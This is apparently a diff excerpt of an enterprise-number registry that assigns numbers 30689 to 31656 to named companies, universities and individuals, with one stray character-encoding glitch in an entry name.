+30689 Planet Controls Pty Ltd
+30690 Institute of Computational Mathematics and Mathematical Geophysics SB RAS
+30691 Wapice Ltd
+30692 WS Atkins PLC
+30693 global infinipool GmbH
+30694 FaxBack, Inc.
+30695 Chrysler Financial
+30696 Deimos Engenharia, S.A.
+30697 CPC (UK)
+30698 n1ety
+30699 Ubipart Ltd
+30700 Telefonia Dialog SA
+30701 Norwegian University of Life Sciences (UMB)
+30702 A2E Technologies
+30703 Oberthur Technologies
+30704 Dipl.-Ing. Eberhard Iglhaut
+30705 SoundBite Communications
+30706 OpenDNS, LLC
+30707 Solaiemes
+30708 Stej - Stefan & Jens Internet Services AB
+30709 NCCI Holdings, Inc
+30710 IT Soft Ltd.
+30711 Coolman, Inc
+30712 BDO Seidman, LLP
+30713 Oopss.org
+30714 Harry Wettke Consulting
+30715 Q-layer
+30716 Alston & Bird LLP
+30717 Odysseyware Inc.
+30718 TSB Bank Ltd
+30719 Elektroservice
+30720 Etone
+30721 Agenor d.o.o.
+30722 ProSoft Technology
+30723 FreeCode International Inc.
+30724 Vietnam Commercial Computing and Communication
+30725 all included software gmbh
+30726 fj3.us Enterprises
+30727 SNIX/net International
+30728 Siltanet
+30729 SLM Corporation
+30730 Seanodes
+30731 BODET S.A
+30732 NetSocket, Inc.
+30733 Umpqua Bank
+30734 Florian Sailer
+30735 BLUECOARA Networks
+30736 Kyoeisangyo corp.
+30737 Servicios Tecnicos Agrupados S.A.
+30738 Optenet
+30739 Jason Antman
+30740 Assyst Gesellschaft für Automatisierung Software und Systeme mbH
+30741 Configo Systems GmbH
+30742 Glimmerglass Networks Inc.
+30743 Global Village Telecom
+30744 Mississippi River Maritime Association
+30745 Open Channel Software
+30746 Opensolutions GmbH & Co. KG
+30747 THR Systems
+30748 Raumtex Biehl
+30749 Marabu EDV -Beratung und -Service GmbH
+30750 Mesh City Wireless
+30751 Pentadyne Power Corporation
+30752 INFOGROUP S.p.A:
+30753 University of Tsukuba
+30754 Erik Abele Technology Consulting
+30755 faultinjection.net
+30756 CodersApple.com
+30757 FAR NETWORKS SRL
+30758 Comtech Systems, Inc.
+30759 ShowSys
+30760 ELECTRO STANDARDS LABORATORIES
+30761 Telavista B.V.
+30762 Mbira Technologies
+30763 GlassFish Networks
+30764 QlikTech
+30765 GAMA V2
+30766 Tomas Shulman
+30767 Full Spectrum Inc.
+30768 Collège de France
+30769 Citec S.p.A.
+30770 Alberto Storch
+30771 HealthPlus of Michigan
+30772 ProCom Professional Communication & Service GmbH
+30773 FlyCatcher
+30774 Anthena Technology, Inc.
+30775 XControl Sistemas & Soluciones Ltd.
+30776 Dronas 2002, S.L.U.
+30777 Cymotec
+30778 Murilo Fujita
+30779 Apelon, Inc
+30780 Charles McCrobie
+30781 Infonova Consultores
+30782 HiliSoft
+30783 IceCell ehf
+30784 Fink Consulting GmbH
+30785 Bitfrost AS
+30786 Defne
+30787 Global Networks Switzerland AG
+30788 VScape
+30789 Market Technologies, Inc.
+30790 Cortex Informatica
+30791 brass Media Inc.
+30792 Huber Verlag für Neue Medien GmbH
+30793 Ingram Book Co.
+30794 Platinumtel Communications
+30795 Zeltiq Aesthetics, Inc.
+30796 Videon Central, Inc.
+30797 elconas
+30798 Delta Lambda Phi National Social Fraternity
+30799 SkyNet Community VPN
+30800 Bee Ware SA
+30801 IGUS-ITS GmbH
+30802 FireScope, Inc.
+30803 Vyatta, Inc.
+30804 Lattice Limited
+30805 Solegy LLC
+30806 ipcenter.at
+30807 Franz Krainer - netal
+30808 Sun International Management Limited
+30809 PacketOps
+30810 Universitaet Bremen - Fachbereich 3
+30811 Herley-CTI
+30812 ObjectTel, Inc.
+30813 Advanced Telecom Technologies
+30814 Institut français de recherche pour l'exploitation de la mer
+30815 Intecna Soluciones
+30816 escape studio
+30817 illuminate Solutions
+30818 Powerset, Inc.
+30819 software security networks - Lukas Gradl
+30820 Fighting Penguin Business Systems
+30821 Cape Cod Sensors
+30822 General Conference of Seventh-day Adventists
+30823 Akimeka
+30824 SH Solutions
+30825 CentraComm Communications, Ltd.
+30826 SmartOptics AS
+30827 RIZ-Transmitters Co. (formerly 'RIZ ODASILJACI d.d.')
+30828 Colfax Corporation
+30829 United Technologists Europe Limited (UTEL)
+30830 G & L Geissendörfer & Leschinsky GmbH
+30831 Network Center of Tianjin University
+30832 CompuCredit Corporation
+30833 Clearspeed Technology plc
+30834 VirtueFusion
+30835 Blue Box Group, LLC
+30836 WINGServers
+30837 Edge Velocity Corporation
+30838 Cash America Net of Illinois, LLC
+30839 Skidmore College
+30840 Replify Ltd
+30841 Astase
+30842 APINC (Association Pour l'Internet Non Commercial)
+30843 Blogreen
+30844 Lucas IT Services
+30845 Mechron Power Systems
+30846 IPsmarx Technology Inc.
+30847 9Star Research, Inc.
+30848 “SITRONICS Smart Technologiesâ€, LLC
+30849 Magellan Netzwerke GmbH
+30850 The University of Hong Kong
+30851 Accolm
+30852 Knipp Medien und Kommunikation GmbH
+30853 Mikro Værkstedet
+30854 Heinlein Support GmbH
+30855 Geckologic GmbH
+30856 Bandwidth.com, Inc.
+30857 Data Device Corporation
+30858 Mobile News Channel S.A.
+30859 E-Solutions
+30860 Betgenius
+30861 Venture Craft Networks
+30862 Nancy Universite
+30863 Samsung Electro-Mechanics Co., LTD.
+30864 CD-adapco
+30865 Cilantro Cafe
+30866 ID2go IT-solutions
+30867 Volksmission entschiedener Christen e.V.
+30868 Kansas City Web Repair Co.
+30869 Weiland Associates, Inc.
+30870 InterRed GmbH
+30871 Luce Forward Hamilton and Scripps LLP
+30872 Uniloc USA
+30873 Confident, Inc.
+30874 Tuneology
+30875 InnoDomus
+30876 Divmod, Inc.
+30877 Giogio IT
+30878 Panacea Vision Co. LTD
+30879 Pavleck LLC
+30880 Chaos Computer Club München e.V.
+30881 ELycée S.A.S.
+30882 Nanjing Xian Zhi Lu Technology Co.,Ltd.
+30883 Correlix Inc.
+30884 Covertix
+30885 Rookie Inc.
+30886 Sichuan Jiuzhou Electronic Technology Co.,Ltd
+30887 Alfred KUHSE GmbH
+30888 cittadino GmbH
+30889 Valero Energy Corporation
+30890 Institut de Recherche en Ophtalmologie
+30891 Gramant
+30892 Mirada PLC
+30893 CJSC Goodwin
+30894 INTRA-SYS GmbH
+30895 antonis.mobi
+30896 Knitebane.net
+30897 McDonald's Corporation
+30898 NetworkedAssets GmbH
+30899 Montana State University
+30900 ipWorks Co., Ltd.
+30901 UNITED INFORMATION TECHNOLOGY CO.LTD
+30902 GoBGK
+30903 Registru Centras
+30904 Radius Sweden AB
+30905 INNOVA S.A.
+30906 IFS Ing.-Vertriebsbuero für EDV Softwaretechnik GmbH
+30907 Paradigm Communication Systems Ltd
+30908 RtVision, Inc.
+30909 wbb wireless
+30910 WS Live, LLC
+30911 Christopher Hubbard
+30912 Indent Solutions LLC
+30913 UMC ELECTRONICS CO., LTD.
+30914 Oliver Oehme EDV-Service GmbH
+30915 Beijing Shengtian Engineering Design&Consult Inc. (bjst)
+30916 TeamQuality
+30917 jillstephens.org
+30918 Catatrepa, S.A.
+30919 Unipier Ltd.
+30920 Scania Infomate
+30921 john horton consultancy ltd
+30922 Telsasoft
+30923 Max-Planck-Institute for Mathematics in the Sciences
+30924 Jantronics
+30925 Robust Solutions LLC
+30926 flexmedia.com.tw
+30927 Mainova AG
+30928 Loycon s.c.
+30929 Schuberg Philis
+30930 Billiamware SW
+30931 Sheldon Networks Inc
+30932 Epicenter Inc
+30933 nick125
+30934 STECO Ltd
+30935 Railway Equipment Company
+30936 Texas State University
+30937 Communications-Electronics Solutions Pty Ltd
+30938 N8 Identity Corp.
+30939 Embrapa Gado de Corte
+30940 SC FITS SRL
+30941 iFACTORY Consulting
+30942 Global IP Solutions, Inc.
+30943 MultiQ Products AB
+30944 PCMS Group PLC
+30945 Chengdu Guangda Electronic&Telecommunication Technology Development Co., Ltd.
+30946 Department of Computer Engg.
+30947 YAMAKI ELECTRIC CORPORATION
+30948 Cloudmark, Inc.
+30949 Aha! Software
+30950 Transneptune
+30951 N Green
+30952 CONSTALANT JSC
+30953 Novotronik GmbH
+30954 IDS services
+30955 Flavio Poletti
+30956 yTech GmbH
+30957 WHP International SAS
+30958 Slavenet
+30959 ZhongLianTong electronics corporation, Ltd
+30960 Innotube, Inc.
+30961 RedShift Inter Networking
+30962 Denis Knauf
+30963 HUTON
+30964 ZLGMCU
+30965 University "Dunarea de Jos" Galati
+30966 SHENZHEN CLEVER ELECTRONIC CO.,LTD.
+30967 VVAAQIS
+30968 For Sale Digital Internet-Agentur GmbH
+30969 2MI Tecnologia
+30970 IC Plus Corp.
+30971 ALEXON CO.,LTD.
+30972 College of Lake County
+30973 RightsAssist, LLC.
+30974 kitASP
+30975 cvicse Ltd.
+30976 Netezza Inc
+30977 SPINLOCK d.o.o.
+30978 Cordium Links, LLC
+30979 E.C.O. Institut für Ökologie
+30980 Krazan and Associates, Inc
+30981 MagtiCom LTD
+30982 Jacobs University Bremen
+30983 Gurulabs.it
+30984 GNS Systems GmbH
+30985 Gadgets & Technology Solutions LLC
+30986 Paymetric Inc.
+30987 Norpak Corporation
+30988 PowerFile, Inc
+30989 Hiscox Plc
+30990 Food for the Hungry
+30991 PCS do Brasil Ltda
+30992 Wrocław University of Economics
+30993 Sure3 Networks, LLC
+30994 SSB Progetti srl
+30995 WebMessenger, Inc.
+30996 BlackMesh
+30997 Telecom South America S/A
+30998 Fikus Development Corp.
+30999 Rohati Systems, Inc.
+31000 stelcom
+31001 secomicon GmbH
+31002 COSI
+31003 China Pacific Insurance (Group) Company Limited
+31004 Nautile SARL
+31005 ODS-Medical GmbH
+31006 EnergoData
+31007 Ikse.net
+31008 Business & Decision
+31009 PRECISION ELECTRONICS LTD.
+31010 Cymphonix Corp
+31011 Enterprise Management Consulting Ltd.
+31012 Home Works S.p.A.
+31013 School District of Philadelphia
+31014 FXtion Limited
+31015 Nalco Company
+31016 Socrata, Inc.
+31017 tele.sjb.partners AG
+31018 HeLi NET iTK
+31019 Tecal Engenharia Ltda
+31020 Teachers Credit Union
+31021 Nstein Technologies Inc.
+31022 Sun&seeds Solutions S.L.
+31023 Veeam Software
+31024 Swiss Reinsurance Company
+31025 NPAI SA
+31026 Gil Leduc Industries
+31027 SyTech Corporation
+31028 Onse telecom corporation
+31029 HYUNDAI Digital Technology Co.,Ltd
+31030 Voipex Limited
+31031 VO2 Labs
+31032 jcsbk
+31033 Elodig
+31034 Schleifenbauer Products BV
+31035 Haniriito Co.,Ltd.
+31036 Svyaz Engineering M JSC
+31037 Luxms Inc.
+31038 Next Generation Creative LLC
+31039 JinniWare Software
+31040 Doze.net
+31041 TZ Communications Ltd
+31042 Uny IT B.V.
+31043 Eclipse Options (HK) Ltd.
+31044 Alfresco Software Ltd.
+31045 Fry Consulting, Inc.
+31046 Collogia Unternehmensberatung AG
+31047 Aptilon Holdings Inc
+31048 Art Of Mobile
+31049 Midtronics Inc.
+31050 CyT Comunicaciones y Telemática S.R.L
+31051 Mojix Inc.
+31052 Liberty Alliance
+31053 Evolved Intelligence
+31054 TTech
+31055 gfsb Gesellschaft fuer Systemberatung mbH
+31056 Thunderbird Resorts
+31057 Ergowells
+31058 Teragauge
+31059 Known Star (Beijing) Kiosks Co.. LTD
+31060 Video Internet Technologies LTD.
+31061 Cheops Elektronik Handels- und Fertigungs KG
+31062 Aeracode
+31063 Daniel Saul
+31064 Optimal Satcom, Inc.
+31065 Toyo Electronics Corp.
+31066 GSP - Loteamentos
+31067 On Line Informatica
+31068 Tyfon Svenska AB
+31069 Belvok Ltd.
+31070 Zentzu Inc.
+31071 Intelinet AS
+31072 proQuest Computersysteme GmbH
+31073 Radian Company
+31074 Electronimec, Inc
+31075 Mobigeo
+31076 Jan Fischer
+31077 Systems Neurobiology Laboratory
+31078 Nankai Densetsu CO.,LTD.
+31079 Bircher ProcessControl AG
+31080 Galileo International
+31081 Perlan Technologies Polska Sp. z o.o.
+31082 EUNETIC GmbH
+31083 ALTE LEIPZIGER Versicherung a. G.
+31084 TechSAT GmbH
+31085 Greyware Automation Products, Inc.
+31086 Technology Nexus Secured Business Solutions AB
+31087 Enfo Broadcast AS
+31088 Extend Health, Inc.
+31089 Clemson University
+31090 Scale Computing, Inc.
+31091 Andreas Tsiotsias
+31092 GFI Software Ltd
+31093 Passguard
+31094 dynaTrace Software, Inc.
+31095 SEC (Software Engineering Center, Chinese Academy Of Sciences)
+31096 koyo electric co,ltd
+31097 Mouse-hole.com
+31098 PJM Interconnection, L.L.C.
+31099 SZ-ID b.v.
+31100 Metascopic
+31101 Future Spirits Co,Ltd.
+31102 u10 Networks
+31103 Daniel Ellard
+31104 EPRO Telecom Services Ltd.
+31105 WMHost
+31106 23projects.org
+31107 Global Protocols
+31108 Compriva Communications Privacy Solutions Inc.
+31109 IAVANTE Foundation
+31110 UAB "BT-Grupe"
+31111 Norfello Oy
+31112 XForm Systems GmbH
+31113 Swemel JSC
+31114 Aetna Group S.p.A.
+31115 InfoWatch
+31116 Cuesta College
+31117 Quality Bicycle Products, Inc.
+31118 Cryptomach Ltd.
+31119 I-node S.r.l.
+31120 QiPlay
+31121 Techfirm, Inc.
+31122 VoIPFuture Ltd.
+31123 WuHan Teklong Technology Co.,Ltd
+31124 ABF Baltic AS
+31125 Ressources Informatiques
+31126 ASTELLIA
+31127 Emerson Process Management
+31128 Lead Tech Design
+31129 Alaska Satellite Facility
+31130 Basho Technologies, Inc.
+31131 Ilove2ski
+31132 Dictao
+31133 Triton Container Intl
+31134 Kinderedheart
+31135 Diglinks GmbH
+31136 Gestión de Seguridad Electrónica S.A. - GSE S.A.
+31137 Bildungszentrum Uster
+31138 DrJays.com, Inc.
+31139 Viv Diwakar
+31140 TouK Sp. z o. o. s. k. a.
+31141 GEMIK
+31142 7signal Oy
+31143 Andreas Stenius Teknikkonsult
+31144 Corporación Avance
+31145 Holido
+31146 MatrikonOPC
+31147 RiverStar Software
+31148 Saga d.o.o. Beograd
+31149 South-West University
+31150 TriumStar International Co., Ltd.
+31151 Sixgreen
+31152 Allegea Information Services
+31153 Aonalu
+31154 ck-productions
+31155 SeYo Solutions
+31156 By Light Professional IT Services
+31157 Patersons HR & Payroll Solutions
+31158 Team Engineers
+31159 Stadtwerke Speyer GmbH
+31160 DARTALIS S.A.
+31161 SMT&C Co., Ltd.
+31162 EMC Electronic Media Communication SA
+31163 Ultra Electronics - Tactical Communication Systems
+31164 xweb OG
+31165 Active Storage, Inc.
+31166 ViM Internetdienstleistungen Gmbh
+31167 Home State Bank
+31168 Pleora Technologies Inc.
+31169 Medical Facilities of America
+31170 PNG Development Group
+31171 Ning Inc
+31172 Broward Sheriff's Office
+31173 Alaska Department of Fish & Game
+31174 Mobile Active Pty Ltd
+31175 Partition Tragic
+31176 Largic Co.,Ltd.
+31177 Quantm
+31178 GroundHog Software
+31179 Micro Research Ltd
+31180 Centre for Development of Advanced Computing
+31181 DBALab S.p.A.
+31182 Ville de Luxembourg
+31183 The Logic Group Enterprises Ltd
+31184 EWE AG
+31185 Kell Systems
+31186 mybasta.com
+31187 Secure Designs, Inc.
+31188 Engel Solutions AG
+31189 Rhombotech LLC
+31190 Hackers' Treasure Zoo
+31191 Alset Corporation
+31192 Hella KGaA Hueck & Co.
+31193 DT Netsolution GmbH
+31194 Public Association "RENAM" (Research and Educational Networking Association of Moldova)
+31195 audio data Ton- und Datentechnik GmbH
+31196 Sosialistisk Venstreparti
+31197 Ousmane Ba International Business Automation
+31198 Thomas Stein
+31199 E-learning SA
+31200 is-ro Informations-Architektur
+31201 Dotcom-Monitor Inc
+31202 wiredobjects
+31203 Jenomics GmbH
+31204 I-James Technology
+31205 Newsroom Solutions, LLC
+31206 DRS Test and Energy Management, LLC
+31207 Vertica Systems, Inc
+31208 Seneca College of Applied Arts & Technology
+31209 Lightcomm Technology
+31210 Cross Technologies, Inc.
+31211 Engineering Design Team, Inc.
+31212 Senotron GmbH
+31213 Integrat (Pty) Ltd
+31214 ADIPSYS
+31215 PFS
+31216 PCM Industries
+31217 AST
+31218 UCOPIA Communications
+31219 kubus IT GbR
+31220 Syberian
+31221 Niggemann Innovations GmbH
+31222 Idium AS
+31223 Spider Financial
+31224 Horizon Semiconductors
+31225 Pulse Power and Measurement Ltd.
+31226 NWG Technologies, LLC
+31227 US Cable
+31228 RUSTEDCOMPUTING.COM
+31229 One Convergence
+31230 Lazurit
+31231 Longhurst Group
+31232 Ringcentral, Inc.
+31233 Almira Labs, S.L.
+31234 Inter7 Internet Technologies, Inc.
+31235 ENVALE SYSTEMS PVT. LTD.
+31236 PartyGaming PLC
+31237 e.sigma Technology AG
+31238 baumann.at - concepts & sulotions
+31239 AustriaPro (e-Zustellung)
+31240 i-move internet gmbh
+31241 Cross Industries AG
+31242 Foster Link Inc.
+31243 Interhost AS
+31244 Fresh Media Group
+31245 Brandon Werner
+31246 Realmagic Technology Ltd.
+31247 DigiSSL
+31248 Field Solutions, LLC
+31249 Daruma Telecomunicacoes e Informatica S/A
+31250 Avnet
+31251 Olé Telecom
+31252 ELMECH
+31253 Andre Hotzler EDV-Dienstleistungen
+31254 Fooman Limited
+31255 MAC Telecom Technologies Pvt Ltd
+31256 CSO srl
+31257 elxsi networking services
+31258 3onedata Technology Co. Ltd.
+31259 Sisnetinfo CO., ltd.
+31260 Phebus
+31261 Placid Sky Consulting
+31262 HOLA S.A.
+31263 Riga Technical university
+31264 TEGNIX
+31265 Queensland Studies Authority
+31266 Privredna komora Srbije
+31267 Zivios, LLC.
+31268 Nubium Systems
+31269 Sapotek Inc.
+31270 XRoads Networks
+31271 Geni, Inc
+31272 Ed Greenberg Technical Services Corp
+31273 RIS Technology
+31274 Webmasterprogramm GmbH
+31275 TTG ULUSLARARASI TELEKOMINIKASYON ILETISIM HIZMETLERI ve ELEKT.TIC.LTD.STI
+31276 DSA Volgmann
+31277 Fluidmesh Networks, Inc.
+31278 Alphons Tech. Co. Ltd
+31279 Shenzhen Routdata Technology Co., Ltd
+31280 Premiersoft (Singapore) Pte Ltd
+31281 sourcephotonics
+31282 Solid Access Technologies LLC
+31283 SONOWAND AS
+31284 Spazidigitali
+31285 Beijing 3V Communication Technology Co.,Ltd.
+31286 Valora Holding AG
+31287 FutureIT
+31288 Partners Data Systems, Inc.
+31289 SARL SECOM - GMixon - Pixeliris
+31290 Nissan Finacial Services Co., Ltd.
+31291 Minutolo
+31292 WPC-Vogt
+31293 Tata Város Polgármesteri Hivatala
+31294 Impetus Infotech (india) pvt. ltd.
+31295 Aqualectra B.V.
+31296 Kynetix
+31297 Dortmund University of Technology
+31298 Hochschule Anhalt (FH)
+31299 Elite CRM Software Ltd.
+31300 Emmeskay
+31301 Litheware Pty Ltd
+31302 ScuttledMonkey
+31303 HelloWeb
+31304 Andes Servicio de Certificación Digital (SCD) S.A.
+31305 Sure Tech (HK) Limited
+31306 Severed Head Software Ltd.
+31307 astarsoft
+31308 Pacific Network Research
+31309 QuintessenceLabs Pty Ltd
+31310 CRYPTECHNIQ Pty Ltd
+31311 CEMA ASP
+31312 Jens Axboe Linux Kernel
+31313 Nets DanID A/S
+31314 Priva B.V.
+31315 Thales Alenia Space Italia
+31316 Seed Linux
+31317 ADTelecom S.L.
+31318 Southern Symentech & Solutions Private Limited
+31319 MEO (formerly 'Portugal Telecom, SA')
+31320 Disig, a.s.
+31321 Munisense BV
+31322 Sierra Wireless, Inc.
+31323 eXelate Media
+31324 CTS Corporation
+31325 Howard University
+31326 Apollo Security Sales, Inc.
+31327 Greenplum
+31328 Whispering Wolf Productions
+31329 Diginext B.V.
+31330 Comstar, Inc
+31331 Commuture Corp
+31332 Dr.Reisacher
+31333 Purekernel Systems Limited
+31334 Unicon, Inc.
+31335 John Antypas
+31336 Neovera, Inc.
+31337 Union & Comstar
+31338 Kavach Networks Private Limited
+31339 NPP Triada-TV LLC
+31340 Jiwalu
+31341 innoSysTec GmbH
+31342 S-Terra CSP
+31343 Festo AG & Co. KG
+31344 Tripadvisor
+31345 Sun Microsystems (B.C.) Inc.
+31346 Cine-tal
+31347 Spirus Applied Learning Solutions AG
+31348 DONET S.A.C
+31349 Digital Wave Co.,Ltd.
+31350 Government Information Management Unit, Ministry of Finance, Finland
+31351 managedhosting.de GmbH
+31352 Meteogroup Deutschland
+31353 iKu Systems & Services GmbH & Co. KG
+31354 Computa Services and Consultants Ltd
+31355 Tuxicoman
+31356 Casa Brasil
+31357 Guoke tek,Inc.
+31358 id3 Semiconductors
+31359 Orcanthus
+31360 revenco
+31361 conject AG
+31362 FHeigl
+31363 Sumlogic Innovations
+31364 BEE MediaSoft Limited
+31365 MaxSP Corporation
+31366 MMJ Group, Inc
+31367 Asseco Slovakia, a.s.
+31368 Systancia SA
+31369 OhmForce
+31370 Unassigned
+31371 Communicado, Inc.
+31372 University of Southern Indiana
+31373 CENELEC TC79 WG7 CCTV Surveillance Systems
+31374 Plansmith Corporation
+31375 The Hub Partnership LLP
+31376 Reliable science & technology co.,Ltd
+31377 buunSoft
+31378 Vervis COMINT Services GmbH
+31379 inform solutions GmbH
+31380 Citec
+31381 BauWatch Technology Group
+31382 EDEKA Handelsgesellschaft Suedwest mbH
+31383 east taiya wireless telecommunication Inc.
+31384 Port25 Solutions, Inc.
+31385 Zylex Systems
+31386 ARCHE Engenharia e Comercio de Sistemas de Automacao e Teleinformatica Ltda
+31387 Row 44, Inc.
+31388 On-Net Surveillance Systems, Inc. (OnSSI)
+31389 Sven Richter
+31390 Ural State Forest Engineering University
+31391 Oakton Community College
+31392 Squared Financial Services Ltd.
+31393 OneBeacon Insurance
+31394 Victron Energy B.V.
+31395 The Translational Genomics Research Institute
+31396 HPC Systems Inc.
+31397 Armor Safe Technologies, LLC
+31398 Suburbia Public Access Network
+31399 SCALABLE NETWORK TECHNOLOGIES
+31400 WaveGuider Technology Ltd
+31401 Sarbarian Software
+31402 WINLAB
+31403 Mgame Japan Corp.
+31404 Optiwave Photonics Limited
+31405 X-tec GmbH ICNS
+31406 Le Studio Vert
+31407 ON-X
+31408 Cincinnati Country Day School
+31409 Telemetry Network System
+31410 TenRoses SRL
+31411 Edinboro University of Pa
+31412 Carter and Associates
+31413 eBiz Consulting Inc.
+31414 MMK
+31415 Nederlands Ministerie van Buitenlandse Zaken
+31416 Edevag Consulting HB
+31417 Tokyo University of Science
+31418 Adexso Advanced Expert Solutions
+31419 Skalarit AB (formerly 'Skvader Systems AB')
+31420 team2work GbR
+31421 Coblan srl
+31422 Retailp S.A.S.
+31423 Identity Technology Ltd
+31424 Egothor
+31425 Mountain Power Inc.
+31426 Fitbit, Inc.
+31427 ticketpro GmbH
+31428 PT. Telemetri Indonesia
+31429 RealConnect (Pty) Ltd
+31430 RSU GmbH
+31431 CoSiSo
+31432 Courtyard Electronics Ltd
+31433 Toumaz Technology Limited
+31434 Minerva-Korea
+31435 Users, Incorporated
+31436 Ansley & Associates, Inc.
+31437 Call & Call Holding S.p.A.
+31438 phoops s.r.l.
+31439 Correo Uruguayo
+31440 Embedded Data Systems, LLC
+31441 Eurika srl
+31442 JonDos GmbH
+31443 The Alberta Library
+31444 MAKELSAN LTD.
+31445 FatBox Inc.
+31446 catpipe
+31447 IRGA Production Company
+31448 Prolancer Pty Ltd
+31449 Perfect Line S.A.
+31450 David Rourke
+31451 ipado - Informatiker-Partnerschaft Pauxberger und Domschke
+31452 VS Information Systems
+31453 Zyrion Inc.
+31454 towebs inc.
+31455 Bulb
+31456 ScapeCaster
+31457 Meebo, Inc.
+31458 RAVIOLIKINGDOM.COM
+31459 United States Peoples Virtual Party
+31460 Versatile Security Sweden AB
+31461 sächsische Informations-Compagnie zu Berlin | Marcus Pauli
+31462 Canare
+31463 Itibia Technologies Inc.
+31464 EPCOM IT-Systeme, Pirker & Zauner OEG
+31465 Systemica Consulting
+31466 NeoConsult A/S
+31467 Gravity Interactive, Inc.
+31468 The Bluenote Group
+31469 Alior Bank S.A.
+31470 Vector Data LLC
+31471 SunStrom GmbH
+31472 Axcera Inc.
+31473 NOVA Chemicals Corporation
+31474 Viagenie inc.
+31475 ITS Schmidinger GmbH
+31476 Deviant Software
+31477 TTC MARCONI s.r.o.
+31478 Pluribus
+31479 Grey Group
+31480 Universidade Federal do Rio Grande
+31481 ABBRIS Ltd.
+31482 Top Level Internet Pty Ltd
+31483 Universidad Rey Juan Carlos
+31484 Basset AB (formerly 'BassetLabs AB')
+31485 FlexSecure GmbH
+31486 CGI Sweden AB (formerly 'Logica Norr AB')
+31487 The Transaction Company
+31488 oxylane
+31489 Manchester Computing Ltd
+31490 Monnsta
+31491 Cabo Telecom
+31492 BOCOM SECURITY(ASIA PACIFIC) LIMITED
+31493 The Hospital Authority Hong Kong
+31494 Host 17
+31495 Combe Walden Associates Limited
+31496 NetModule AG
+31497 Haute Ecole d'Ingénierie et de Gestion du Canton de Vaud (HEIG-Vd)
+31498 Stiftung Sympany
+31499 Novozymes A/S
+31500 Lindsay Broadband Inc.
+31501 Khaledma
+31502 Mantaray AB
+31503 Sanitas S.A. de Seguros
+31504 Networkers AG
+31505 Dirección General de Tráfico
+31506 Dragonfly Grzegorz Marszałek
+31507 arcutronix Gmbh
+31508 Internat der Maristenbrüder Mindelheim
+31509 Soapstone Networks
+31510 New Horizons
+31511 Henry Ford Community College
+31512 BittWare, Inc.
+31513 Prosul - Projetos, Supervisão e Planejamento LTDA.
+31514 Software Horizons Inc.
+31515 SizeIT Drift Aktiebolag
+31516 Zen Internet Limited
+31517 Akixa
+31518 International All Sports Limited
+31519 Jakko Network
+31520 iPerfecta Japan Ltd.
+31521 Univar Benelux S.A.
+31522 Washington Apple Pi, Ltd.
+31523 Community Health Information Collaborative
+31524 müller it gmbh
+31525 NEC Laboratories Europe
+31526 Change Networks A/S
+31527 VMF Nord ek för
+31528 SIEMENS S.A: IA SPAIN
+31529 Pensionskasse SBB
+31530 TSI Power Corporation
+31531 Immutify Limited
+31532 Ensynch, Inc
+31533 ScanSafe Ltd
+31534 Adfinis SyGroup AG (formerly 'SyGroup GmbH')
+31535 Parkeon
+31536 OpenNHRP project
+31537 Gossamer Threads Inc.
+31538 Velocity Network
+31539 Traveling bits, Inc.
+31540 INTEC Inc.
+31541 Yaamen Inc
+31542 Robert Carleton
+31543 RIONERO
+31544 Sistema Integrado de Defesa Social
+31545 Yellowbook Inc
+31546 Rotary International
+31547 COGITO Management Consulting
+31548 Media & Broadcast Technologies
+31549 Shu-Te University
+31550 K Franchise Vertriebssysteme Gesellschaft m.b.H.
+31551 Niechoj electronic GmbH
+31552 Disforce
+31553 Invocrown Ltd
+31554 Elvys Ltd.
+31555 VCS Aktiengesellschaft
+31556 TiQ srl
+31557 Vision Technologies Inc.
+31558 David M Brooke
+31559 pathSolutions
+31560 ARTEC Computer GmbH
+31561 Telecomproduct
+31562 Backcountry.com
+31563 HGST
+31564 Chainzone Tech. Ind.
+31565 Nurminen Logistics Oyj
+31566 Ytti
+31567 EURECA
+31568 Licensys Pty Ltd
+31569 Branden Schneider
+31570 Gnodal
+31571 Narratone Pte Ltd
+31572 Consolidated Smart Systems
+31573 Peel District School Board
+31574 Security Monster
+31575 InnoGames GmbH
+31576 CTC Engineering Ltd.
+31577 7Safe Ltd.
+31578 A2x Trefzer Consulting
+31579 virgitech
+31580 Departamento de Engenharia Eletrônica - CEFET RJ
+31581 REDDOXX GmbH
+31582 Caixa Geral de Depósitos
+31583 AgilTech
+31584 Ben Jen Online
+31585 Umoe Communication
+31586 Teragram, A SAS Company
+31587 Univ Community
+31588 IceWave
+31589 Axlon Electronics Corporation
+31590 MRI Cardiac Services, Inc
+31591 Digital Governance
+31592 Jump Trading, LLC
+31593 Electronic Child Health Network
+31594 Elm Technology
+31595 KGlobal Tech Co., Ltd.
+31596 OJSC iCFO
+31597 Global Real Estate And Technology Consortium, Inc.
+31598 Grok-A-Lot, LLC
+31599 P0F Sistemske Storitve Grega Bremec s.p.
+31600 Beijing TechSolute Technology Co., Ltd.
+31601 DreamGarage Inc.
+31602 Raying Technology Co., Ltd.
+31603 Information Society Development Committee under the Government of the Republic of Lithuania
+31604 Sunny Multimedia Co.,ltd
+31605 Ekahau Oy
+31606 LUMINOUS POWER TECHNOLOGIES PVT LTD
+31607 eBox technologies S.L
+31608 Emaging
+31609 Lisp
+31610 Noisivne
+31611 California Creativity Association, Inc.
+31612 Roessner-Network-Solutions
+31613 Extrawerk
+31614 Ubuntu NL
+31615 LEVELER, LLC
+31616 LINUX INK
+31617 Celeste
+31618 Cloudpic
+31619 Editora Abril S.A.
+31620 The J.M. Smucker Company
+31621 MoCA - Multimedia over Coax Alliance
+31622 Meddius LLC
+31623 Information Security Corp.
+31624 Premier Heart
+31625 Astron-Fortis Inc
+31626 Lee-Dickens Ltd
+31627 Preferred Voice, Inc.
+31628 Opticom Communications LLC
+31629 fengyun.ltd
+31630 media concept GmbH
+31631 Conseil Régional Nord - Pas de Calais
+31632 Shanghai Titan Technology Co., Ltd.
+31633 Quickline Business AG (formerly 'EBM Telecom AG')
+31634 ICT Embedded b.v.
+31635 TextFunnel
+31636 Shanghai Colorful Magnetic Resonance Technology Co. Ltd.
+31637 Peak Communications Ltd
+31638 Indra Systems, Inc.
+31639 Litmus Logic
+31640 7ia
+31641 CFH Software
+31642 Eurotech S.p.A.
+31643 m-creations gmbh
+31644 Perthro Ltd
+31645 Network Critical
+31646 Virgina Department of Motor Vehicles
+31647 Ministerio de Defensa de la Nación
+31648 HANGZHOU DPTECH Technologies Co., Ltd.
+31649 keksbude.net
+31650 Feline Soul Systems
+31651 W Key s.r.l.
+31652 Arcadia Consulting
+31653 Ing. Reinhard Hirz IT Services
+31654 EM Software & Systems
+31655 Martek di Meucci Marco
+31656 Beijing Autelan Technologies Co Ltd.,
